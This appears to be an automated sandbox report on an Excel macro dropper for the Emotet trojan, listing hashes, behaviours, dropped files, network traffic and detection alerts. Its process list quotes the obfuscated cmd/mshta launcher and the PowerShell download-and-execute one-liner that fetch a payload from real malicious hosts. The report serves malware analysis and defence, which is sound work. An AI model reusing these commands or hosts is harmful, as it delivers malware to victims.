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File name:

71AC379EB026B851F82DDFBCAC0DCD5199C3E453

Full analysis: https://app.any.run/tasks/0f89a08b-0194-432f-9646-4a5debfe50d1
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 24, 2022, 19:49:22
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
trojan
loader
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 14:50:55 2022, Last Saved Time/Date: Mon Jan 24 15:24:17 2022, Security: 0
MD5:

5EC49A34FEFAA0D57623F6ED94837AC5

SHA1:

71AC379EB026B851F82DDFBCAC0DCD5199C3E453

SHA256:

60DFDFFA603DD7C46D1EEE8EC91ABAF50FAE165D3510A5D750B5E875C10B33FC

SSDEEP:

3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3816)
    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3816)
    • Executes PowerShell scripts

      • mshta.exe (PID: 2316)
    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2568)
      • SearchProtocolHost.exe (PID: 4080)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 1284)
      • rundll32.exe (PID: 4084)
    • Connects to CnC server

      • rundll32.exe (PID: 4084)
    • Changes the autorun value in the registry

      • rundll32.exe (PID: 4084)
  • SUSPICIOUS

    • Reads default file associations for system extensions

      • SearchProtocolHost.exe (PID: 4080)
      • EXCEL.EXE (PID: 3816)
    • Checks supported languages

      • cmd.exe (PID: 3260)
      • mshta.exe (PID: 2316)
      • powershell.exe (PID: 2076)
      • cmd.exe (PID: 552)
    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 2316)
    • Reads the computer name

      • mshta.exe (PID: 2316)
      • powershell.exe (PID: 2076)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 3260)
    • Reads Environment values

      • powershell.exe (PID: 2076)
    • Drops a file with a compile date too recent

      • powershell.exe (PID: 2076)
      • rundll32.exe (PID: 2268)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2076)
      • rundll32.exe (PID: 2268)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 552)
      • rundll32.exe (PID: 2568)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 1284)
    • Starts itself from another location

      • rundll32.exe (PID: 2568)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2076)
    • Application launched itself

      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 1284)
  • INFO

    • Reads the computer name

      • EXCEL.EXE (PID: 3816)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 4084)
    • Checks supported languages

      • EXCEL.EXE (PID: 3816)
      • rundll32.exe (PID: 2568)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 1284)
      • rundll32.exe (PID: 4084)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 3816)
    • Reads internet explorer settings

      • mshta.exe (PID: 2316)
    • Checks Windows Trust Settings

      • powershell.exe (PID: 2076)
      • rundll32.exe (PID: 4084)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3816)
    • Reads settings of System Certificates

      • rundll32.exe (PID: 4084)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Time Card
  • Sheet1
  • XXL
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:24 15:24:17
CreateDate: 2022:01:24 14:50:55
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
10
Malicious processes
6
Suspicious processes
2

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
3816"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3260cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.htmlC:\Windows\system32\cmd.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2316mshta http://0x5cff39c3/sec/se4.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
2076"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
4080"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exeSearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
552"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2568C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2268C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1284C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Kqiqqihpsyrkml\jzfggvxcpein.dec",ABiOQLZbOzYxeCPC:\Windows\system32\rundll32.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4084C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Kqiqqihpsyrkml\jzfggvxcpein.dec",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
7 618
Read events
7 473
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
8
Text files
1
Unknown types
4

Dropped files

PID
Process
Filename
Type
3816EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE6F8.tmp.cvr
MD5:
SHA256:
3816EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\71AC379EB026B851F82DDFBCAC0DCD5199C3E453.xls.LNKlnk
MD5:192224150FB65F03F0A0191BF9B3D281
SHA256:454838C45B0B0ED7C937CE63921139F0BDD6C99479D7DC834C03D2361515593B
3816EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF0FB29FC15301F9EC.TMPgmc
MD5:871C0382EAC3908D4A5C036E6A357558
SHA256:E7A107D548B99D866C9E4092B1C8B9A3D8657226E7F5B834909E39DC28295972
2316mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\se4[1].htmbinary
MD5:EE3D40A393DFC20684FDCD4282DA0284
SHA256:2C8F62708A16B068433ED479A0E16143257BD15B91EF904F30642CD0E24716DD
3816EXCEL.EXEC:\Users\admin\Desktop\71AC379EB026B851F82DDFBCAC0DCD5199C3E453.xlsdocument
MD5:4A396278D89042B90F31F58BDA2E6D5B
SHA256:A9401A89A47538C8CB74B73AAB3D9435B5332AA79E8B9B7705324122D06C5C52
2076powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:D3C284009A5790C3AA90D7C5D620CA65
SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39
3816EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:8852B4D260CAA00AB3D8B60BFDAC8E2E
SHA256:0A7C488BB58C703D713C0A4C8F3628BB937D677717BD83EA20D732845981662A
4084rundll32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:D98E6FB8C33B54289FC0E928C8A6417A
SHA256:CD37C85535F20D88492AC8355AE3568E5267431C07E6725AAC4778BE810230C6
2076powershell.exeC:\Users\Public\Documents\ssd.dllexecutable
MD5:C504DCD25D6C55ABB7260FA67A44DAAE
SHA256:E89B14E63984327C8A1FBFF7FDB4A83E3E0904591F9492AEB4D997EDC6D003FA
2076powershell.exeC:\Users\admin\AppData\Local\Temp\dgcwud2o.hco.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
14
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4084
rundll32.exe
GET
23.32.238.178:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?00d7ad5d04852137
US
whitelisted
2076
powershell.exe
GET
200
31.31.196.8:80
http://firstfitschool.com/83wg6z/oUCHXJmm/
RU
executable
676 Kb
malicious
2316
mshta.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.html
RU
binary
10.9 Kb
malicious
2076
powershell.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.png
RU
text
1.14 Kb
malicious
4084
rundll32.exe
GET
200
23.32.238.178:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?09c098809535461c
US
compressed
59.9 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2076
powershell.exe
31.31.196.8:80
firstfitschool.com
Domain names registrar REG.RU, Ltd
RU
malicious
2316
mshta.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
2076
powershell.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
192.168.100.2:53
whitelisted
4084
rundll32.exe
69.16.218.101:8080
Liquid Web, L.L.C
US
malicious
4084
rundll32.exe
45.138.98.34:80
malicious
4084
rundll32.exe
23.32.238.178:80
ctldl.windowsupdate.com
XO Communications
US
suspicious

DNS requests

Domain
IP
Reputation
www.microsoft.com
whitelisted
firstfitschool.com
  • 31.31.196.8
malicious
ctldl.windowsupdate.com
  • 23.32.238.178
  • 23.32.238.201
whitelisted
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
2076
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2076
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2076
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4084
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 17
4084
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 21
7 ETPRO signatures available at the full report
No debug info